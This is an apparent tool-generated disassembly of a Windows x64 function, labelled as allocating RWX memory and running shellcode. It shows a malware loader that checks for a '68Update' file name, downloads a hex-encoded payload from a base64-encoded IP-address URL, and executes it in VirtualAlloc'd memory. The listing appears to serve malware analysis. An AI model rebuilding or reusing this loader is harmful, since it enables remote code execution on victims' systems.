Function at 0x1400756e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r13
push rbp
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x1402deca0]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
xor r15d, r15d
mov r8d, 0x104
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], r15
lea rax, [rbp - 0x30]
mov r14, 0xffffffffffffffff
mov rdi, r14
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], r15w
jne 0x140075750
movabs r13, 0x7ffffffffffffffe
cmp rdi, r13
ja 0x140075d47
mov qword [rbp - 0x80], 7
cmp rdi, 8
jae 0x1400757ae
mov qword [rsp + 0x78], rdi
lea rbx, [rdi + rdi]
mov r8, rbx
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x68]
call fcn.1401f8470
mov word [rsp + rbx + 0x68], r15w
mov r13, qword [rbp - 0x80]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
jmp 0x140075860
mov rax, rdi
or rax, 7
cmp rax, r13
jbe 0x1400757ca
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x1400757fc
mov r13, rax
mov ecx, 0xa
cmp rax, rcx
cmovb r13, rcx
lea rcx, [r13 + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x140075d41
add rcx, rcx
cmp rcx, 0x1000
jb 0x140075828
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140075d41
mov rcx, rax
call fcn.1401f695c
test rax, rax
je 0x140075d35
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14007583a
test rcx, rcx
je 0x140075837
call fcn.1401f695c
mov rsi, rax
jmp 0x14007583a
mov rsi, r15
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], r13
lea rbx, [rdi + rdi]
mov r8, rbx
lea rdx, [rbp - 0x30]
mov rcx, rsi
call fcn.1401f8470
mov word [rbx + rsi], r15w
lea r10, [rsp + 0x68]
cmp r13, 8
cmovae r10, rsi
cmp rdi, 8
jb 0x140075cd6
lea r11, [rdi - 7]
lea r11, [r10 + r11*2]
mov rcx, r10
lea rbx, str.68Update
nop dword [rax]
mov rax, r11
sub rax, rcx
sar rax, 1
je 0x140075cd6
cmp word [rcx], 0x36
je 0x1400758af
add rcx, 2
sub rax, 1
jmp 0x140075899
test rcx, rcx
je 0x140075cd6
mov r8d, 8
mov rdx, rbx
mov r9, rcx
sub r9, rbx
nop word [rax + rax]
movzx eax, word [rdx]
cmp word [rdx + r9], ax
jne 0x140075b97
add rdx, 2
sub r8, 1
jne 0x1400758d0
sub rcx, r10
sar rcx, 1
cmp rcx, 0xffffffffffffffff
je 0x140075cd6
lea ecx, [r8 + 3]
call fcn.140076ad0
call fcn.1400769f0
mov rdi, rax
lea rbx, [0x1402e4ad0]
test rax, rax
je 0x140075b09
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
movdqa xmm1, xmmword [0x1402bf800]
movdqu xmmword [rbp - 0x48], xmm1
mov byte [rbp - 0x58], 0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
mov r8d, Ordinal_41
lea rdx, str.aHR0cDovLzIwMi4xODIuMTAyLjgzL21haW4uanM
lea rcx, [rsp + 0x28]
call fcn.140076450
nop
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x48]
call fcn.140075310
cmp qword [rax + 0x18], 0x10
jb 0x140075970
mov rax, qword [rax]
mov r8, rax
mov edx, 0x2712
mov rcx, rdi
call fcn.140079940
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400759bd
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400759b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140075d4d
call fcn.1401f6be8
movdqa xmm0, xmmword [0x1402bf800]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x140075a0d
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075a08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140075d53
call fcn.1401f6be8
lea r8, [0x1400756b0]
mov edx, 0x4e2b
mov rcx, rdi
call fcn.140079940
lea r8, [rbp - 0x58]
mov edx, 0x2711
mov rcx, rdi
call fcn.140079940
mov rcx, rdi
call fcn.140076a60
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x78]
call fcn.140075310
mov rcx, r15
mov r9, qword [rbp - 0x68]
test r9, r9
je 0x140075a7b
mov rdx, qword [rbp - 0x60]
mov r8, qword [rbp - 0x78]
nop dword [rax + rax]
lea rax, [rbp - 0x78]
cmp rdx, 0x10
cmovae rax, r8
movzx eax, byte [rax + rcx]
mov byte [rcx + rbx], al
inc rcx
cmp rcx, r9
jb 0x140075a60
mov rcx, rdi
call fcn.1400769c0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140075abe
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075ab9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140075d59
call fcn.1401f6be8
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140075b09
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140075b04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140075d5f
call fcn.1401f6be8
call fcn.140076a70
nop
inc r14
cmp byte [rbx + r14], 0
jne 0x140075b10
cmp byte [r14 + rbx - 1], 0xa
jne 0x140075b36
lea rax, [r14 - 1]
cmp rax, 0x1000
jae 0x140075d2f
mov byte [rax + rbx], 0
shr r14, 2
mov rcx, r14
call fcn.140207ed0
mov rdi, rax
test rax, rax
jne 0x140075ba0
lea rcx, [0x1402bf7a8]
call fcn.140074b30
nop
cmp r13, 8
jb 0x140075c42
lea rdx, [r13*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140075c3a
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140075d35
jmp 0x140075c3a
add rcx, 2
jmp 0x140075890
test r14, r14
je 0x140075bcf
nop word [rax + rax]
lea r8, [r15 + rdi]
lea rdx, str.x_2hhx
mov rcx, rbx
call fcn.140074b90
inc r15
add rbx, 4
cmp r15, r14
jb 0x140075bb0
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140075c77
lea rcx, [0x1402bf7c0]
call fcn.140074b30
mov rcx, rdi
call fcn.140202498
nop
cmp r13, 8
jb 0x140075c42
lea rdx, [r13*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140075c3a
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140075d3b
mov rcx, rsi
call fcn.1401f6be8
mov eax, 1
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.1401f66a0
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r13, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov r8, r14
mov rdx, rdi
mov rcx, rbx
call fcn.1401f8470
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rdi
call fcn.140202498
nop
cmp r13, 8
jb 0x140075d28
lea rdx, [r13*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140075d20
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140075d3b
jmp 0x140075d20
call fcn.140075ff0
mov ebx, 0x3e8
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
sub rbx, 1
jne 0x140075ce0
cmp r13, 8
jb 0x140075d28
lea rdx, [r13*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140075d20
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140075d35
mov rcx, rsi
call fcn.1401f6be8
xor eax, eax
jmp 0x140075c47
call fcn.1401f67c8
nop
call fcn.140207e58
int3
call fcn.140207e58
int3
call fcn.140074cf0
int3
call fcn.140074d90
nop
call fcn.140207e58
nop
call fcn.140207e58
int3
call fcn.140207e58
nop
call fcn.140207e58
int3